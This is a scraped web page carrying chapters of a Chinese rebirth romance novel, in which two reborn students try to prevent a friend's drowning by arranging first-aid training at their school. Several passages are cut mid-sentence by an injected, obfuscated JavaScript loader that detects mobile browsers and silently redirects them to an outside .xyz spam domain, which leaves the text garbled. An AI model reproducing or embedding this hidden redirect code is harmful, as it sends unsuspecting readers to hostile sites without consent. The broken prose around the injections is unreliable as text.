高一下学期,周衡在父母的安排下转走,于是温泉镇只剩下他们四个人。但这没影响他们之间的关系,直到伍乐出事。 那年父母意外去世后江知秋精神恍惚得厉害,发自身体深处的疲倦让他整天只想睡觉,他开心不起来,整天郁郁寡欢,成绩也下降了不少,不仅老师着急,作为朋友的伍乐等人也急。 那天月假,秋高气爽。江知秋在楼上睡觉,忽然听到伍乐在楼下叫他,又疯狂给他打电话,直到江知秋被吵醒迷迷瞪瞪出现在窗前,伍乐在楼下对他笑出一口白牙,拎起鱼篓和渔网朗声说,“跟我去抓鱼啊秋儿!” “我不想去。”江知秋说。 “去嘛去嘛,求你。”伍乐说,“河里的鱼都肥了,我早就想去抓了。难得放月假,你就陪我去呗。” 江知秋问他为什么不找赵嘉羽,伍乐说赵嘉羽今天不在镇上,一直缠着他,他只好跟着去了。 伍乐其实是想让江知秋出来散散心。 但江知秋实在提不起什么兴致,身体深处的疲累让他只想睡觉,所以他陪伍乐抓了会鱼就去找了个安静的地方睡了,没想到伍乐会意外落水,被救起来的时候已经是出气多进气少了。 温泉镇节假日会有人来旅游,偶尔也会有类似的意外发生,但镇上懂急救的人不多,陈雪兰和林蕙兰两个医护人员组成的家庭倒是都懂。两位母亲很担心她们没在身边的时候两个孩子遇到意外,所以从小就在教他们急救知识。 当时河岸边的人多,但不巧的是在场的所有人都不懂急救,有人说看到江知秋和伍乐一块来的河边,却谁都没在第一时间找到江知秋,以至于伍乐被耽搁了黄金抢救时间,到医院的时候就有点晚了,再加上温泉镇医院水平不行,人没抢救过来。 赵嘉羽和伍乐一直关系最好,伍乐死后他愤怒将他的死怪到江知秋头上,攥着他的领口激愤之下口不择言,“为什么死的人是乐乐?为什么死的不是你?” “你他妈说什么呢赵嘉羽?!”费阳脸色当场就变了,用力分开江知秋和赵嘉羽,“没人想看到伍乐出事,而且秋儿是最不想看到伍乐死的那个人!你先冷静点再说话!” “我说的有错吗?”赵嘉羽嗓音因愤怒嘶哑,“如果不是他,伍乐怎么可能去河边抓鱼?他不会游泳!他昨天跟我说江知秋这段时间不高兴,想带他去散散心,结果呢?江知秋把他一个人丢在河边!” 江知秋脸色惨白,失魂落魄站在费阳身后,无法为自己辩解一个字。 直到看到伍乐父母和弟弟妹妹,他才嗫嚅着嘴唇,“……对不起。我……” “你没有错,但我们很难不怪你,”伍乐父母流着泪说,“你回去吧,别留在这儿了,走吧。” 从此以后很长一段时间内,江知秋都不敢再睡觉,就算精神疲劳至极,身体却依旧清醒,他开始严重失眠。后来没多久奶奶身体也出了问题,但他不敢再表现出消极。 周衡后来猜江知秋的病在这个时候就已经埋下了根。 费阳当年护着江知秋,赵嘉羽和他们决裂,第二个学期也转去了蓉城,四个人就只剩下江知秋和费阳两个人还在。 赵嘉羽和周衡不在一个学校,在刚开始周衡不知道赵嘉羽对江知秋说过那种混账话的时候两个人还有联系,江知秋没告诉他这件事,直到费阳有天不小心说漏了嘴,周衡找到赵嘉羽打了一架,两个人心里都憋着气动了真格,打完架后都进了医院,从医院出来后两个人也不再联系,直到很多年后周衡从国外回来才从共友那里听说赵嘉羽去急救中心做了名急救医生。 重生回来前,周衡听说他在打听江知秋的联系方式。 “当年不是江知秋的错,当年有错的是我。”赵嘉羽面无表情和周衡站在墓前,眼底都是深深的疲倦和阴郁,“是我明知道江知秋状态不对,乐乐不会游泳,还只让他们两个人去河边,是我的错。” 天台现在没人,正好适合说话。周衡挡着风,江知秋身体一直控制不住发抖,无法控制的眼泪争先恐后地流。 “赵嘉羽知道不是你的错。”周衡看着他这模样心里绞着难受,把他拉进怀里,拍着他的肩轻声安慰,“他后来来找过你。他说当年不是你的错,他不该那样说,他跟你说对不起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197075|178566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你没有错。” “……对不起。”江知秋声音破碎,像是从喉咙里挤出来,“对不起。” “好了。”周衡摸着他的后脑勺说,慢慢引导他,“现在和以前不一样。现在我们有你在,你知道未来会发生什么,你可以帮伍乐改变,对不对?” 江知秋依旧在怀里簌簌发抖,周衡耐心等他冷静下来。以前照顾江知秋的时候周衡有时候就会觉得他像养了只不开心的小猫,要对他耐心,还要封窗封阳台,现在江知秋这幅模样更像受到惊吓应激的小猫。 江知秋一直流泪,衣襟被打湿了一大片,周衡抬头看了眼天上的太阳,他顺着江知秋的背没说话。 直到听到江知秋低声问,“怎么改变?” 周衡闻言弯了下唇角,“当年伍乐落水,为什么会被耽搁了抢救时间?” 江知秋埋在他脖颈沉默许久,轻声说,“因为没人懂怎么救他。” 当年所有人都在迁怒江知秋,因为只有他才懂这个,周衡说,“那如果懂急救的人多点,他活下来的几率是不是会大一点?” “……怎么多?” “你想不想让学校组织一场急救专题的培训?” 蓉城七中注重学生各个方面的发展,也格外注重安全教育,经常联合医院、消防这些部门组织学生学习急救和紧急避险这些方面的知识,但在温中,学习才是重中之重,一年有一次地震演练就已经算很不错了。 周衡记得以前江知秋跟他说过这个学期有上面的领导来学校视察,他们可以趁这个机会向学校提出这件事。陈雪兰是医院的护士长,医院那边由她出面去说服领导跟学校合作,成功率很高。 江知秋反应有些钝,“可以吗?” “不试试怎么知道?”周衡没一口肯定,“万一可以呢?要是连你都不去试,那就真的完蛋了。试试,好吗?” 江知秋身体渐渐不再发抖,声音却依旧有些微弱,“好。” 听到他的回答,周衡松了口气,心情还算不错,他陪江知秋站了会儿,问他,“饿不饿?” “嗯。”江知秋依旧偎在他颈窝,周衡身上熟悉的体温煨着他,良久,他突然轻声问,“你怎么知道伍乐会死?” 刚才他没有和周衡说太多细节,周衡没有问过他,却知道未来所有发生的事,他这个时候终于察觉到了不对。 周衡愣了愣,在这一瞬间他思绪翻飞。都挑明重生的事好几天了,他一直没等到江知秋问他,直到现在才终于听到他问,周衡揶揄道,“终于反应过来了?”说完,他又轻笑了一声,“我还以为你不会问了。” 江知秋闭了闭眼,眼睫还是湿的,他低声说,“你也死了吗?” 没想到今天他智商短暂上线了。 “没死。”周衡微顿,他在这短短的几秒钟之内想了很多,但最后轻松笑着说,“放心吧,哥好着呢。” 21.第 21 章 “眼睛一睁一闭,就回来了。”周衡以玩笑的口吻说,有意逗他开心。 但他说完后,江知秋却没再说话。 周衡也没主动开口。 在这沉默的几十秒内,周衡无法得知他在想什么,许久,江知秋闭着眼长吸一口气,后退一步,垂着眼睫从他怀里退出来。他低着头,周衡看不到他的表情。 周衡眼皮轻轻一跳,虽然在承认他也重生时就已经做好了心理准备,但他在怀里空下来的瞬间心里还是微沉,手下意识往前伸了一点,最后还是轻轻垂下了手。 就在两人有些相顾无言,周衡打算说点什么的时候,费阳推开天台的门,觉得气氛有些奇怪,于是开口问,“躲这干嘛呢你俩?” 周衡听到他的声音皱了下眉,转头看过去,“你怎么来了?” “哇塞,你还好意思问我怎么来了,我还想问你们,说好的去食堂,结果你俩把我丢下来这儿双宿双飞是个什么意思?”费阳无语说,“我找你俩半天了,要不是我在楼下遇到王萧,他看到你们往顶楼跑了,我都不知道你俩在这儿。还去食堂么?再不去饭就要没了。” 他们学校这些人跟饿死鬼投胎一样,本来他们就是第二批,再晚去一点就真没吃的了。 周衡看向江知秋,“跟我们一起去?” 赵嘉羽和伍乐在教室,江知秋情绪才崩溃过一次,他不放心现在让江知秋一个人回去面对他们,也不敢留他一个人在天台,如果江知秋拒绝就只能让费阳帮忙带回来。 “好。”江知秋说。 费阳走近后才看到他通红的眼圈,“秋儿怎么了?” 江知秋摇头。 “没事。”周衡也不打算解释,勾着他的脖子转身,“走吧。” “?”费阳被他带着走。 他们这个时候去食堂还不算太晚,食堂还剩了点东西给他们,江知秋买了两杯豆浆,费阳看他拿了两杯于是放了杯回去,江知秋把豆浆揣在兜里带回去,送到伍乐手里的时候豆浆还是温的,伍乐碰到他的手,他眼圈的红晕更深了点。 费阳在前面说,“给钱。” “谢了。”伍乐笑嘻嘻,继续抄笔记。 “不用。”江知秋摇了下头,没问他要钱,周衡撑着脑袋在旁边看着他,见他只是红了眼睛没落泪,暂时没出声,余光扫到什么,抬眼一看发现张正不知道什么时候出现在窗边,吓了一跳。 江知秋愧疚看着伍乐,脑中不断闪回前世的记忆,周衡突然抬手握住他垂在身侧微微发抖的指尖,他想起周衡在天台给他说过的话,深吸一口气,顺着周衡拉他的力道坐下来,“伍乐。” 伍乐在抄赵嘉羽的英语笔记,听到他说话抬头,“啊?” “对不起。”江知秋轻声说。 伍乐,“?” 江知秋这两天真的很奇怪。 江知秋没有解释,他轻挣了下指尖,挣开周衡的手,转回去坐好。周衡指尖动了动,看他撑着太阳穴肩膀瑟瑟,于是追上去重新捉住他的指尖。很快,江知秋偏头看向他,又抽走了手。 周衡呼吸声微重,心脏轻轻抽了一下。 上午几节课,周衡以为会看到一个又在厌学的江知秋,但江知秋却反常地开始听课,笔记也开始记了,他的字十年间总体来说变化不大,但十年后写的字更漂亮成熟。 周衡悄无声息观察了他一节课,下课后,江知秋把笔记本递给伍乐,“抄吗?” “抄!”伍乐立马接过去,“啪”的一声双手合十对他做了个感谢的动作。 英语老师向雪一直有抽查笔记的习惯,江知秋的笔记和课代表刘心月的笔记一直被她作为范本,如果查到有人没记笔记会被罚抄他俩其中一个人的笔记十遍,伍乐他们以往懒得记笔记的时候都喜欢抄江知秋的笔记。但这两天他没来上课,伍乐就一直抄的是赵嘉羽的。 周衡微微皱了下眉,压下心底的微妙没吭声。不管怎么说,江知秋愿意改变都是好事。 大课间做完操后周衡跟江知秋说了句有事走进了人流,江知秋看着他离开的背影,直到再也看不见,费阳从后面撞了下他的肩,脑袋搭在他脖颈,“看啥呢秋儿?还不回去?” 他左右看看没在他身边找到周衡,又问,“周衡呢?” “有事先走了。”江知秋收回看着那个方向的目光。 “啥事啊走这么快?”费阳顺口问了句。 江知秋摇了下头表示不知道,转头只看到他和赵嘉羽在,顿了顿,“伍乐呢?” “拉屎去了。”费阳勾着他的肩,“去不去小卖部?” “嗯。” 等他们从小卖部回去的时候伍乐已经在教室,周衡消失了挺久,快上课的时候他们才看到周衡回来。 费阳问他,“去哪儿了,这么久?” “有点事。”周衡显然没打算解释,对上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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日记写了不少,直到午休快结束,周衡在楼下叫他,他也才翻了一半。 路过一楼楼梯间的时候江知秋看到放在那里的自行车,脚下微微一顿,两分钟后周衡看到他出来,愣了一下。 他记得这辆自行车是他买自行车时江知秋父母一起给江知秋买的,以前倒是经常骑,但重生回来后他就没见过江知秋骑。 江知秋许久没骑过自行车了,周衡慢吞吞跟在后面看了会儿,加快速度追上去和他并肩,勾起唇角说,“真烦我了?” 22.第 22 章 从他挑明自己也重生之后江知秋对他的态度就变了,就像这段时间好不容易给他撬开的缝又对他闭上了,周衡拨了下车前的铃,吸引江知秋看过来。 江知秋听到车铃偏头看他一眼,“没烦你。” “真没烦?” “真的。” 周衡停顿一秒,然后轻笑,“那就好。” 他提醒了一句,“看路。” 江知秋又看他一眼,转了回去,敛眉看着前方的路,掌控自行车的动作略微生疏。 他没有烦周衡,江知秋心说,他只是突然意识到他和周衡这么亲密不太妥当。 不管什么时候周衡对他都很好,但重生的周衡和没重生的他不一样,没重生的他不知道他的喜欢,只会把他们之间的亲密理解成友情,重生的周衡却知道。 伍乐的那段回忆同时也勾起了不少记忆,江知秋想起上辈子的周衡明明是直男,却要因为责任背负他的爱,为了他的病妥协,不得不照顾他那么久,在父母和他之间痛苦挣扎。周衡为他已经做得够多了,他已经痛苦了这么久,他也明明早就下定决心要放他解脱。 更何况,周衡并不喜欢他。 不管是他还是周衡,越亲密都只会越痛苦。 谁都没再说话。 周衡微微错身跟在江知秋后面,目光凝在他素白柔弱的侧脸,看见他肩膀微微上耸,又很快放松下来,看着像是在深呼吸,周衡用力顶了下腮帮。他想起昨晚不小心看到的日记,从刚才起就一直想问江知秋一句话,但话到嘴边又被他吞了回去,直到进了学校他也还在踌躇没问出来。 这个时候已经错过了合适的机会,周衡只好暂时放弃。 他们到的时候整座校园都还陷在午休的余韵之中,悄然无声。 伍乐他们今天中午没回家,留在学校午休,听到他俩的脚步声以为是张正,抬头看见是他们又倒下了。 教室里没什么人说话,江知秋坐下来发了几分钟呆,看了下黑板,找到下节课的教材,教材上的文字晦涩难懂,旁边用红黑蓝三种颜色写着详细的注脚,看着似乎通俗易懂。 这两天他都没来学校,这些都是周衡抽空帮他整理的笔记。江知秋看了眼周衡,又转回头看了会儿书皱起眉,有点眼冒金星对着发呆。片刻,他默默合上了课本。 周衡观察他的表情就知道他没看懂。 脑子还是不太够用。 周衡提了下唇角,心底却有些沉重。江知秋知道他重生后就在和他保持距离,前后对比太大了,他不想发现都难。这人脑子不够用,却已经想着和他保持距离了,周衡心情说不上好。 中午和下午陈雪兰都没回家,晚上放学,到家的时候周衡对江知秋说,“待会回去你就和你妈说说那件事?” 江知秋点了下头,“好。” 周衡看着他推着自行车进门,拉平唇角,又在院子外待了两分钟才骑回家。 “急救演习?”陈雪兰听到江知秋的话显得有些意外,“怎么突然想到这个了?你们学校提出来的吗?” “是我和周衡想出来的。”江知秋不打算告诉她伍乐的事,也没有找借口,只是哀求看着她,“可以吗,妈妈?” 陈雪兰觉得这件事有点突然,但看江知秋这么认真,又被他这样看着有些心软,想了想后答应下来,“行,我尽量试一下。” “谢谢妈妈。” 陈雪兰揉了下他后脑勺,“不客气,宝贝儿。今天别学太晚,早点睡觉。” 江知秋微抿了下唇角,“好。” 但他恋恋不舍挨着陈雪兰,没起身回房间。 陈雪兰没让他现在回去,心里还在想他刚才的提议。 温泉镇最近一次的地震是2008年那次大地震,温泉镇虽然不在震中心,被波及的程度不严重,但不少孩子都不知道这是怎么回事,在发生地震后还懵懵懂懂不知道跑。这件事给了学校一个警醒,这才开始有了每年一次的地震演练,但除了这个,即使每年都有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209361|178566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人落水,镇上的几所学校一直以来也都不怎么重视急救这方面的教育。 陈雪兰是听说过其他地方的学校会定期邀请医院的医护来教育孩子,之前也考虑过这件事,但一直没找到合适机会。她和院领导关系不错,这段时间可以去试试,说不定能成功。 周衡发消息问江知秋:说了吗? 江知秋没回应。 烟嘴被咬得有些糜烂,周衡站在窗前抽了两根烟,脚边突然传来毛茸茸的触感,还没低头已经听到一声猫叫,“喵。” 周衡低头看到啾啾在他脚边蹭来蹭去,弯腰把它捞起来,看了它一会儿,突然说,“你秋哥哥好像不要你了。” “喵。”啾啾在他手上扑腾两下蹿到他肩膀上站着,喵喵叫着试图爬到他头顶。也就是它现在不是以后那辆半挂,身体轻盈,周衡任由它上房揭瓦。 二楼的高度对小猫来说还是有点太超过了,周衡灭了烟只拉了纱窗散房间的味,把啾啾从头顶捞下来,回到书桌前看了会网课,忽然听到手机震动,拿起来一看却不是江知秋,而是上午大课间他去找的那个人。 对方:一人五百。 周衡回了个ok的手势:明天来找我。 他答应得这么干脆,对方登时觉得钱要少了,想和他掰扯,但没成功:……行。 这个人是他找的演员。 虽然他认为这件事成功率很大,但也不是没失败的可能。他们莫名其妙提出一个演练学校不一定会同意,但如果在这之前有学生不小心落水,那情况就不一样了。上辈子伍乐去世后温中就安排了一次,周衡打算将它提前,从背后推一推。他安排了两个人,都会游泳,到时候让他们一个人去河里假装扑腾两下另一个在岸上看着就行。 但这件事他不打算让江知秋知道。 周衡放下手机前又看了眼江知秋的聊天框,还是静悄悄的。 啧。 之前江知秋也是这样,但今晚周衡莫名有些烦躁,丢开手机。 23.第 23 章 还不如他之前养的旅行青蛙。 周衡心说,至少他养的小青蛙还知道时不时给他捎个信儿回来。 那只小青蛙其实是江知秋之前养的,江知秋离开后他一直在养,每天都能收到小青蛙从各地寄回来的明信片,知道它去了哪儿、又从哪儿回来,认识了什么朋友。周衡等不到江知秋的消息,又捡起手机搜旅行青蛙,却没搜到任何结果,旅行青蛙原版这个时候都还没发行。 啾啾勾着裤脚往他身上爬,周衡拎起它的后颈肉放到腿上。小猫今晚睡在他房间,他一晚上没等到江知秋的红点,反倒做了个梦。 他又梦到了以前的江知秋。梦到在他转去七中后特别忙的那段时间,江知秋给他打视频,他在那头拼了命学,江知秋陪他写完了当天的作业,看他还没学完,抱着吉他在那边给他唱周传雄的黄昏。 江知秋很适合清唱,他的嗓音泠泠,干净透亮,抚慰他晚上有些浮躁的心。但等算完两道题,周衡才猛地意识到江知秋不知道什么时候已经停下了,房间里安静下来,他这边外面时不时响起社会青年炸街的轰声,江知秋那边却是熟悉的夏晚虫鸣。 台灯的冷光映在江知秋的眉宇之间,不知道是白还是漂亮,总之有些晃人眼睛。 “怎么不唱了?”周衡问他。 江知秋敛着眉拨了两下琴弦,闻言抬头看他,灯光盈在眼中显得他的眼睛有些水润,他不好意思抿唇对他笑,“我吵吗?” “谁说你吵?”周衡挑了下眉,“哥回来揍他。” “没有谁。”江知秋又拨了下琴弦,掩饰一般喝了口水,“你还想听吗?” “听。”周衡说。 “你想听什么?” “你再唱一遍刚才那首歌,挺好听的。” 江知秋于是又唱了一遍。 周衡早上醒过来的时候耳边都还萦绕着江知秋那晚唱的黄昏。他揉了下额角,想起他已经很久没听到江知秋唱歌。他妈早上有些不舒服,早饭是他爸做的,难以下咽。周衡捏着鼻子喝完了糊味的粥,出门前跟他妈说,“你这两天看啥都不顺眼,上班的时候顺便查一下呗,万一二胎了呢?” 然后在林蕙兰抽他之前脚底抹油开溜了。 林蕙兰追出来骂他,“臭小子!你晚上给我等着!” 江知秋晚上回房间后看完了他以前写的日记,第二天早上起得稍微有些晚。 “好久都没听到秋儿练嗓子了。”江知秋下楼,忽然听到江渡在楼下和陈雪兰说话,“吉他也好久没练了。” 江知秋脚步一顿。 江渡和陈雪兰已经听到他下楼的声音,停下了这个话题。 江渡虽然曾经有个一脚踹进内娱的梦想,但他不会把他没能实现的梦想强加到江知秋身上,更何况他们生活在这种小地方,江知秋成绩好,更适合高考走出去。 周衡在外面等江知秋,见面后问,“你妈怎么说?” 江知秋没看他,也没有隐瞒,声音很轻,“她说会去试试。” 陈雪兰一向宠江知秋,这个答案在周衡的意料之中。 “那就行。” “今天早上秋儿怎么想起自己骑车了?”两人一起转头,小巷离他们最近的一扇门被打开,主人家端着空水盆站在院子里调侃着江知秋。 周衡和江知秋从小到大上学都要从这里经过,这段时间周衡天天载着江知秋路过,住在小巷里的邻居看多了,今天看到江知秋自己骑车反倒觉得有些稀奇。 周衡单脚撑着地面,朗声跟她搭话,“您今天还没去店里呢李阿姨?” “家里还没忙完,忙完就去。” “那您忙,我们先走了。”周衡说,等他们骑远了对方也没反应过来江知秋没回答她的话。 周衡路上看了眼江知秋,但没开口,江知秋很少主动说话,两人一路无言。 陈雪兰说的试一试,好几天过去了也没什么动静。周衡找的人倒是来找过他,这件事没这么快,他让这两个人回去等消息,而且比起这件事,周衡现在更在意另一件事。 他有好几天时间没检查江知秋腿上的伤了。 这两天他和江知秋都很默契没有谈起重生前的事,但江知秋很明显排斥和重生的他保持太亲密的举止,周衡没办法,之前仗着还没挑明他重生、江知秋不排斥他还能扒了他的裤子,现在挑明之后他反倒有些束手束脚,江知秋不同意他不能再强行按着他扒了裤子。 江知秋只接受重生前的周衡,不接受重生后的他,周衡心里有些烦躁,却又无可奈何。但他并不后悔跟江知秋坦白。 开学有半个月,学校的学习气氛也渐渐浓郁,寒假的气息终于消失,一切都开始步入正轨。这两天学校三个年级的老师已经在开始商讨这个学期的第一次月考时间,学生之间的小道消息也不断。 “听十三班的学委说我们这次先月考,考完就放月假,估计回来就能看到成绩了。” 周四的这节体育课不是最后一节课,食堂这个时候没饭吃,回教室就会被张正压着上自习,大家解散后都不乐意回去,伍乐提前从家里带了羽毛球来学校。难得在学校有个消遣,他们班再加上几个隔壁上体育课的,一共十几个人分了两个小组打球。下午天气好,球场被太阳直晒,他们打了会儿之后都脱了外套只穿着短袖。 赵嘉羽对这些兴致缺缺,旁观了几分钟后选择了回教室。 江知秋和周衡去买了几瓶水回来,伍乐一个球没接住被下了,他们队比分落后,费阳接过他的拍子大骂废物,“闪开,让你爹来。”结果一个没留神,迎面羽毛球带着劲风险些拍他脸上。 伍乐灰溜溜走到江知秋身边坐下,江知秋递给他一瓶水,他说了句“谢了”,仰头灌了大半瓶,然后才撞了他的肩膀,“对了秋儿,昨天我们在群里艾特你那么多条,你怎么都不搭理我们?” 江知秋想了想,没想起这两天他把手机放在哪儿,坦诚说,“没看到。” “真的假的?不会又像周衡那个比背着我们偷偷努力呢?”伍乐显然不太信,他们之前都被周衡忽悠瘸了,每次周衡都说没学结果每次考完试一看成绩单他们在中间他在顶上,“放心吧,不找你打游戏。看一眼手机不耽搁你学习。” “好。”江知秋答应了。 周衡这时偏头看了他们一眼,但两人没发现。 费阳从场上下来把拍子丢周衡怀里,“我被下了。文科班女生这么猛我操,你快上。” “废物。”周衡拿起拍子往场上走。 费阳对他竖了下中指,一屁股坐到他的位置上,插入江知秋和伍乐的对话,“聊啥呢?” “秋儿说他昨晚没看手机。”伍乐说。 江知秋望着周衡的背影,周衡敏觉看过来,两人对上了视线,江知秋先主动避开了眼睛。 费阳左右看看没找到赵嘉羽,于是问伍乐,“赵嘉羽他人呢?” “早就回教室了。”伍乐说,“你还不了解他?” 说话间周衡把拍子丢给班里的女生朝他们过来,费阳不解看着他,“你干嘛?” “我也被下了。”周衡一脸淡定。 “废物。”费阳把这两个字还给他。 周衡没在意,挥手驱赶,“让开。” 费阳翻了个白眼把江知秋身边的位置让给他,阴阳他,“今天有这么多女生在,你怎么不骚了?” 江知秋偏头看过来,周衡身体一僵。 这个年纪的男孩都又臭屁又爱出风头,不管是异性还是同性的目光都能满足虚荣心,当年的周衡也不例外,为了吸引女孩的目光在大家都还没雄竞意识的年纪他在家里偷偷练腹肌,上个学期跟隔壁班打了场篮球赛,心机撩起衣服擦汗出尽了风头,这件事被费阳他们骂了好久。 周衡立马有种被过去的自己搬起石头砸自己的脚的感觉,骂了句费阳,“骚什么骚,什么女生,滚蛋。” 费阳莫名其妙挨了顿骂,“?”怎么突然就应激了? 周衡缓和语气对江知秋说,“别听他瞎说,没有的事儿。” 江知秋愣了一下,点了下头。 “他俩打什么哑谜呢?”伍乐问费阳。 费阳耸肩,“谁知道!” 四个人坐在草地上拔了会儿草,费阳左右环顾了一圈,看到附近没老师,大着胆子掏出手机自拍,叫了江知秋一声,“秋儿,抬头。” 江知秋下意识抬头,周衡抽过费阳的手机看了眼,关了美颜。 费阳说,“你关我美颜干嘛?” “丑死了,秋儿都被你拍成蛇精了。”周衡把手机丢回去。 费阳,“?”哪有这么夸张。 场上打得有来有往,羽毛球断了两根毛飞在空中。过了会儿,伍乐突然站起来卧槽了一声,“我的球!我靠!” 羽毛球被抛到最高点的时候突然飞过来一只鸟抓着球头也不回地飞走了,目睹这一幕的所有人都当场目瞪口呆了两秒,反应过来后都没绷住,笑得东倒西歪。 伍乐就差当场对鸟跪下求它回来,除了他所有人都在狂笑,场上登时充满快活的气息。伍乐一脸悲愤,“我草啊你们这些没有良心的家伙!我182买的!” 费阳差点乐倒,大声说,“182?正好是我身高!” “哈哈哈哈哈哈!”场上的人笑得更大声。 周衡没忍住也弯了下唇角,转头看江知秋平静看着这一幕,显得有些格格不入,微微垂下唇角。 费阳转头看他俩都没笑,“你俩怎么都不笑?” 江知秋动了动唇角似乎想笑一下,但显然没能成功,周衡皱了下眉,斥费阳,“懂什么?我们高冷帅哥都这样。” “?”草。费阳马上收起了呲出来的大牙,又奇怪,“你他妈什么时候变成高冷帅哥了?” “你别管,我说是就是。”周衡说。 球被鸟叼走,现在也没办法继续打下去,正好这个时候也快下课了,他们班输了,一群人乌泱泱去小卖部,伍乐和费阳出钱买了点东西当奖品输给隔壁班,然后躲在小卖部最里面偷偷瞄了眼手机,看到赵嘉羽十几分钟前发的消息,出去的时候跟周衡和江知秋说,“老张在教室发了卷子让他们做。” 下节课就是张正的数学课,要是体育课不上按照他的性格就会来占了直接连上两节课,最后那节自习其实也是他的,要是倒霉碰到下雨天,他们得连上三节数学。 “我靠。”费阳天都要塌了,骂完反应过来,“反正我们在上体育课,没人通知我们。当做不知道得了,慢慢回去。” 江知秋递给伍乐一个新的羽毛球,周衡刚才在小卖部里面就看到他在找羽毛球,睨了眼没吭声,喝了口水。 伍乐其实家里还有几个羽毛球,没想到江知秋现在会给他买个新的,但还是接过去了,很高兴,“谢了秋儿。” “走了。”周衡说。 四个人慢慢走回教室。 中午的时候他们路过教学楼前的告示牌就看到有人在换上面的东西,这会儿发现优秀学生风采栏那一栏已经换成了上学期年级前十的照片,江知秋和周衡的照片一前一后挨在一起。 蓝底照片上江知秋头发稍短,露着漂亮精神的眉眼,面对镜头微微翘着唇角,眼眸微亮,脸上洋溢着蓬勃的朝气,右下角写着一句中规中矩的座右铭:道阻且长,行则将至。 周衡和他一起去拍的照片,头发也很短,长度在耳根之上,脸上的笑容有些痞,座右铭也非常拽:无敌,就是这么寂寞。 这句话把费阳看得手痒,“你搞得年级第一是你似的,我们秋儿都没说这句话。你能不能谦虚一点!年级第二?” 周衡在看江知秋的照片,目光定格在他扬起的唇角,闻言推开费阳凑过来的脸,没搭理他。 他记得江知秋这张照片是什么时候拍的。 成绩虽然是上个学期期末的,但照片却在开学的时候就交上去了。 那个时候江知秋刚剪坏了头发,郁闷了好几天,出门一定会戴帽子,而且最喜欢冷帽,只有周衡见过他没戴帽子的模样,结果学校又问他要蓝底的照片,以前的照片用不了,江知秋被不靠谱的托尼留了阴影不敢再去洗发店,他自告奋勇帮他修,勉勉强强能入眼,就是稍微短了点,他自觉不好看,但也不难看,但江知秋直接自闭了,剪完后一直没理他,直到他去理发店剪了个同样短的发型陪他才终于哄得他开颜。 后来他们把照片交上去的时候老张还特别满意夸了他们一通,把照片发到群里让班里的男生都去照着他俩的发型剪,没多久班里就多了好几个头发被剪坏的。 这些都是上个学期的事,现在他们的头发早就长长了,现在的他们也不是以前的他们,周衡忽然看向江知秋。 江知秋和费阳站在一起,微敛着眉,侧颜沉静,唇角很平,似乎无法再复刻照片上的那个表情。 “秋儿这张照片都可以拿去出道了。”费阳啧啧和伍乐说,“我们秋儿唱歌好听,长得又好,完全就是被咱们这个小地方埋没了。” 周衡想起还有段时间才会上线的那个短视频平台,沉思了片刻,暂时没说话。 江知秋看着他和周衡的两张照片许久,脑中那些以前回忆的片段才终于慢慢变得清晰。 周衡以前成绩不稳定,一直在年级前十徘徊,具体名次全看他当时考试的心情。江知秋在意识到自己喜欢周衡后偶尔月考看到他和周衡的名字在成绩单上排在一起都会有一种隐秘的高兴,最高兴的一次就是高一上学期的期末,他和周衡只差了一分,荣誉榜上照片可以放在一起,但荣誉榜出来的时候周衡已经转走了,等下一次月考,周衡的照片就被换成了其他人,他们的照片只是非常短暂地被贴在一起。 江知秋微微侧过脸看向斜后方的周衡,发现周衡也在看这两张照片。周衡感觉到他的目光看过去,但江知秋已经转回去了。 周衡盯着他的后脑勺看了好一会儿。 对伍乐和费阳来说他们才刚升高中一个学期,还没脸熟年级前十,不知道现在的年级前十在未来两年内都不会怎么换人,在告示牌前研究了十分钟才和江知秋周衡离开。 到他们那层楼的时候发现这层楼出奇的安静,几人噤声,进班果然看到张正坐在讲台上。张正看到他们进来,示意他们赶紧回座位。 桌上放着刚发下来的试卷,几人刚坐下来看了两眼,钱朗小声提醒他们,“老张让做选择和填空,下节课要讲。” 试卷刚印刷出来,还散发着一股墨水的香味。江知秋拿到的试卷字体有些模糊,翻过来看了眼试卷后面,后面这一页被印得一塌糊涂,只能看见一团黑。 周衡和他换了张试卷,拿着他的这张去讲台上找老张换了张,回来的时候江知秋已经填完了第一道题的答案,周衡扫了他的答案一眼。 题不难,前三道题都属于一眼就能看出答案的程度,周衡勾完答案转头看江知秋,看他还在解第二道题皱了下眉。这半个月江知秋已经渐渐接受了上学,但离学生时代太远,回忆高一的知识点实在有些为难他。 直到下课班上的同学都还没完全回来,不知道解散后躲去了哪个角落,最后一节课上课才出现。正式上课之前张正又给了他们二十分钟做题,江知秋做完之前周衡没插手,等他填完最后一道题的答案才拿过他的试卷扫了眼,十五道题选择题错了九道,五道填空题只填了前两道还错一个,“……” 这个正确率应该是江知秋两辈子最滑铁卢的一次。 张正开始抽人回答问题,江知秋伸手要卷子,周衡飞快在他卷子上勾了两下才把试卷还给他,第五道题抽到江知秋,刚好是他错的其中一道。江知秋站起来对着试卷上的两个答案沉默了一会儿,“选C。” 